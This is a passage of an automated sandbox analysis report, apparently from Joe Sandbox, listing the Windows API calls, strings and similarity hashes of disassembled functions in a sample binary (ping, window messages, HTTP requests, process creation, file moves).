inet_addr.WSOCK32(?,?,?), ref: 006457D8
gethostbyname.WSOCK32(?), ref: 006457E4
IcmpCreateFile.IPHLPAPI ref: 006457F2
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00645862
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00645878
IcmpCloseHandle.IPHLPAPI(00000000), ref: 006458ED
WSACleanup.WSOCK32 ref: 006458F3

Strings

Ping, xrefs: 00645816

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 1a43e834c8718238e80dd388d7468e737f0c59fc21b2858d7b93214bb628625e
Instruction ID: ecf7dd4f9c8586bda82cbd88f77d100a4182f02c2de39bda1cb993927837796c
Opcode Fuzzy Hash: 1a43e834c8718238e80dd388d7468e737f0c59fc21b2858d7b93214bb628625e
Instruction Fuzzy Hash: 14515F316047119FD720EF25DC49B6A7BE6EF88720F04452AF956DB3A2DB70E901DB42

Function 0063B4C3 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0063B4D0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 0063B546
GetLastError.KERNEL32 ref: 0063B550
SetErrorMode.KERNEL32(00000000,READY), ref: 0063B5BD

Strings

READONLY, xrefs: 0063B588
READY, xrefs: 0063B596
INVALID, xrefs: 0063B58F
UNKNOWN, xrefs: 0063B575
NOTREADY, xrefs: 0063B57C

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 4c5b94f4b25b4f418ed8e4757eb56cbcca4b0be76717898ded183e0693c09567
Instruction ID: 1b60e337e301c6124d54a08f3cdad7217ddba666d7ed1fe297b12e191b9ffadc
Opcode Fuzzy Hash: 4c5b94f4b25b4f418ed8e4757eb56cbcca4b0be76717898ded183e0693c09567
Instruction Fuzzy Hash: BA318375A00209EFCB10EF68C849AAD7BB6FF48321F504166E605D7391DB719A42CB91

Function 00628F8F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005D7DE1: _memmove.LIBCMT ref: 005D7E22

Part of subcall function 0062AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0062AABC

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00629014
GetDlgCtrlID.USER32 ref: 0062901F
GetParent.USER32 ref: 0062903B
SendMessageW.USER32(00000000,?,00000111,?), ref: 0062903E
GetDlgCtrlID.USER32(?), ref: 00629047
GetParent.USER32(?), ref: 00629063
SendMessageW.USER32(00000000,?,?,00000111), ref: 00629066

Strings

ComboBox, xrefs: 00628F9C
ListBox, xrefs: 00628FD1

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: d48cd87db66192559e9911fa0a6e01695ebff9b0b2080ed2728a2e50ec979a88
Instruction ID: 0b6ff19e8e34658f747af63636eff5a47c92f979dd1649bc12dd5c6d2b530f69
Opcode Fuzzy Hash: d48cd87db66192559e9911fa0a6e01695ebff9b0b2080ed2728a2e50ec979a88
Instruction Fuzzy Hash: EF21D670A00209BBDF14EBA4DC89EFEBBB6EF89310F10411AB961972A1DB755815DF20

Function 0062907A Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005D7DE1: _memmove.LIBCMT ref: 005D7E22

Part of subcall function 0062AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0062AABC

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 006290FD
GetDlgCtrlID.USER32 ref: 00629108
GetParent.USER32 ref: 00629124
SendMessageW.USER32(00000000,?,00000111,?), ref: 00629127
GetDlgCtrlID.USER32(?), ref: 00629130
GetParent.USER32(?), ref: 0062914C
SendMessageW.USER32(00000000,?,?,00000111), ref: 0062914F

Strings

ComboBox, xrefs: 00629087
ListBox, xrefs: 006290BC

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 3ef5e37cc9e07cfceef5ca48c1c85ae7bb7558fadc05777bb12918b1704a4a4b
Instruction ID: ec080efe7c2953a9045d99593019f0a4a7c83d4485ff482b0f42442efe670a7e
Opcode Fuzzy Hash: 3ef5e37cc9e07cfceef5ca48c1c85ae7bb7558fadc05777bb12918b1704a4a4b
Instruction Fuzzy Hash: B821F874A00209BBDF10EBA4DC89EFEBBB6FF89300F10401AB551972A1DB754415DF20

Function 00629163 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 0062916F
GetClassNameW.USER32(00000000,?,00000100), ref: 00629184
_wcscmp.LIBCMT ref: 00629196
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00629211

Strings

SHELLDLL_DefView, xrefs: 00629190
list, xrefs: 006291F3
smallicons, xrefs: 006291D9
details, xrefs: 006291BF
largeicons, xrefs: 006291A5

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: 53a68f95c6f0f11ac14c1e43936147e206f77cf847baf0594c716dedd4c3896b
Instruction ID: f705e2039f1b5b975f7f91dd5a5a1eca8c07228ee0a6f09cf644280c53b12553
Opcode Fuzzy Hash: 53a68f95c6f0f11ac14c1e43936147e206f77cf847baf0594c716dedd4c3896b
Instruction Fuzzy Hash: EC113A7624C717B9FB103624FC1EDF73B9EAB95320F300126FA10A01D2FE6299115EA0

Function 00637990 Relevance: 15.3, APIs: 10, Instructions: 292COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 00637A6C

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: f6d4bbe41edbaa4659b6259464571ea692284f710f4504ab21c866ae9d4292d0
Instruction ID: 0253d64912cd903797a92aa121b532df745bd11c2441655bc01b68bb680ecd9e
Opcode Fuzzy Hash: f6d4bbe41edbaa4659b6259464571ea692284f710f4504ab21c866ae9d4292d0
Instruction Fuzzy Hash: 56B16CB190421A9FDB20DFA4C885BBEB7F6FF49321F245429EA01E7291D734A941CBD0

Function 006311CE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 006311F0
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00630268,?,00000001), ref: 00631204
GetWindowThreadProcessId.USER32(00000000), ref: 0063120B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00630268,?,00000001), ref: 0063121A
GetWindowThreadProcessId.USER32(?,00000000), ref: 0063122C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00630268,?,00000001), ref: 00631245
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00630268,?,00000001), ref: 00631257
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00630268,?,00000001), ref: 0063129C
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00630268,?,00000001), ref: 006312B1
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00630268,?,00000001), ref: 006312BC

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 404f0b760f55542519971348d44c575e2a97c4d42332507f06d8f9003e94dcc1
Instruction ID: 9cf0a2f4e667129726bf27bf6e95b4f607c3c8da9d12e19a8ba347b75432df14
Opcode Fuzzy Hash: 404f0b760f55542519971348d44c575e2a97c4d42332507f06d8f9003e94dcc1
Instruction Fuzzy Hash: CC317175600304BBDB10DF54EC48FAA77AFEB56312F109116F905DB6A0D7B49E808BA0

Function 005DFA5D Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 005DFAA6
OleUninitialize.OLE32(?,00000000), ref: 005DFB45
UnregisterHotKey.USER32(?), ref: 005DFC9C
DestroyWindow.USER32(?), ref: 006145D6
FreeLibrary.KERNEL32(?), ref: 0061463B
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00614668

Strings

close all, xrefs: 005DFAA1

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: b4cb234a978a65899e21875aeb6a6567de95ce92149a7bdd6aedea59114635e6
Instruction ID: d79561a8df2a9320902e05b976931590b69e2a06733213c169390b72d2906e72
Opcode Fuzzy Hash: b4cb234a978a65899e21875aeb6a6567de95ce92149a7bdd6aedea59114635e6
Instruction Fuzzy Hash: C1A18330701212CFDB29EF18C599AA9FB65BF45714F1441AEE80AAB361DF30AD56CF90

Function 00649113 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00649167
VariantInit.OLEAUT32(?), ref: 00649238
VariantInit.OLEAUT32(?), ref: 00649339
VariantClear.OLEAUT32(?), ref: 00649343
VariantClear.OLEAUT32(?), ref: 006493A0

Strings

,,f, xrefs: 006491E5
Incorrect Object type in FOR..IN loop, xrefs: 0064931C
Null Object assignment in FOR..IN loop, xrefs: 006491C8, 006492F6, 006493AE

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: ,,f$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-264730138
Opcode ID: d0184b7ac77ecc4eaa1bbf717f28b9a1d4c50a535707355db554db9aa97a7d50
Instruction ID: b6a72bb5a15281d387c21e81f4f902183e3f9466d6ba290e664bb3b15430029f
Opcode Fuzzy Hash: d0184b7ac77ecc4eaa1bbf717f28b9a1d4c50a535707355db554db9aa97a7d50
Instruction Fuzzy Hash: 8A91AD71A40219EBDF25DFA5C848FEFBBBAEF86710F108159F515AB281D7709901CBA0

Function 0062A068 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,0062A439), ref: 0062A377

Strings

REGEXPCLASS, xrefs: 0062A13C
CLASS, xrefs: 0062A0F6
INSTANCE, xrefs: 0062A285
CLASSNN, xrefs: 0062A119
TEXT, xrefs: 0062A2AE
NAME, xrefs: 0062A1A9

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: ba5825cd926bbbf27441d1bb32faa8bf733a2eaf9af3bb86f69c9435cf44ab72
Instruction ID: 81725f1a92f3fa930e75126e7d8c718c86e31cf0244546772a8cefea3db40135
Opcode Fuzzy Hash: ba5825cd926bbbf27441d1bb32faa8bf733a2eaf9af3bb86f69c9435cf44ab72
Instruction Fuzzy Hash: E691D631500A1AEBCB08EFE4D445BEDFF76BF44300F54811AD959A7281DB70AA99CF91

Function 005D2E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 005D2EAE

Part of subcall function 005D1DB3: GetClientRect.USER32(?,?), ref: 005D1DDC
Part of subcall function 005D1DB3: GetWindowRect.USER32(?,?), ref: 005D1E1D
Part of subcall function 005D1DB3: ScreenToClient.USER32(?,?), ref: 005D1E45

GetDC.USER32 ref: 0060CD32
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 0060CD45
SelectObject.GDI32(00000000,00000000), ref: 0060CD53
SelectObject.GDI32(00000000,00000000), ref: 0060CD68
ReleaseDC.USER32(?,00000000), ref: 0060CD70
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 0060CDFB

Strings

U, xrefs: 0060CCD0

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: eb6f97523b05c671117a5d4b6c6bf02924cfdb1d35d1afc1562c663b6430aa9a
Instruction ID: 33c502181c302b0a0ca8bb2c313bb5ab87ca93df0d5cb8ad4eddd6e33470a312
Opcode Fuzzy Hash: eb6f97523b05c671117a5d4b6c6bf02924cfdb1d35d1afc1562c663b6430aa9a
Instruction Fuzzy Hash: BB718B31500205EFCF299F68C884AEA7FBAFF58321F14466BED559A3E6D7318841DB60

Function 00641A15 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00641A50
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00641A7C
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00641ABE
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00641AD3
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00641AE0
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00641B10
InternetCloseHandle.WININET(00000000), ref: 00641B57

Part of subcall function 00642483: GetLastError.KERNEL32(?,?,00641817,00000000,00000000,00000001), ref: 00642498
Part of subcall function 00642483: SetEvent.KERNEL32(?,?,00641817,00000000,00000000,00000001), ref: 006424AD

Strings

, xrefs: 00641B01

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
String ID:
API String ID: 2603140658-3916222277
Opcode ID: 4f205ce1047e7219f3adf787b160f1f500e27326415454c88a670810014d8b41
Instruction ID: 1216b3c1d38c9d9040c8070e13e311be12e9849e010a4b8139b2e979b1078fed
Opcode Fuzzy Hash: 4f205ce1047e7219f3adf787b160f1f500e27326415454c88a670810014d8b41
Instruction Fuzzy Hash: B04192B1501219BFEB11DF50CC89FFB7BAEEF09354F00412AF9059A241E7709E858BA4

Function 00648C46 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,0065F910), ref: 00648D28
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,0065F910), ref: 00648D5C
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00648ED6
SysFreeString.OLEAUT32(?), ref: 00648F00

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: 446d3db35444f479b6f0df5f9ef0d6198bd435ba7c31adcc27f2433e64ab24a3
Instruction ID: 80c275417fb07e3039aa6e8dd800c884e57927af1c9999fd36daf75a3d596e78
Opcode Fuzzy Hash: 446d3db35444f479b6f0df5f9ef0d6198bd435ba7c31adcc27f2433e64ab24a3
Instruction Fuzzy Hash: E0F10871A00209EFDB14DF94C884EEEB7BAFF45715F108499F905AB251DB31AE46CB60

Function 0064F694 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0064F6B5
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0064F848
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0064F86C
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0064F8AC
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0064F8CE
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0064FA4A
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 0064FA7C
CloseHandle.KERNEL32(?), ref: 0064FAAB
CloseHandle.KERNEL32(?), ref: 0064FB22

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: 4db2e8af96f3aec8e89cab2c7f8b532f69a456177ccb4d1a3f776985cbb02e71
Instruction ID: b178ff98474e54005092a40e60f0e0911fa30d11f9a35ebfa2d1dab2eb9697ab
Opcode Fuzzy Hash: 4db2e8af96f3aec8e89cab2c7f8b532f69a456177ccb4d1a3f776985cbb02e71
Instruction Fuzzy Hash: 04E19E316043419FD724EF24D885B6ABBE2BF85314F14856EF8999B3A2CB31EC45CB52

Function 00634CC1 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0063466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00633697,?), ref: 0063468B

Part of subcall function 0063466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00633697,?), ref: 006346A4

Part of subcall function 00634A31: GetFileAttributesW.KERNEL32(?,0063370B), ref: 00634A32

lstrcmpiW.KERNEL32(?,?), ref: 00634D40
_wcscmp.LIBCMT ref: 00634D5A
MoveFileW.KERNEL32(?,?), ref: 00634D75

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: 1473684935269f8f978ab10c217e480d496c75be208973a0ab0f5505183e30d8
Instruction ID: ba6c2cc7fefe4eacafb971057d0fa1f1187e06cd5ea3311706a16dff2d80fdad
Opcode Fuzzy Hash: 1473684935269f8f978ab10c217e480d496c75be208973a0ab0f5505183e30d8
Instruction Fuzzy Hash: AD5142B20083859BC764DBA4D8859DFB7EDAF85350F00092FB685D3151EE34A689C796

Function 00658645 Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 006586FF

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: InvalidateRect
String ID:
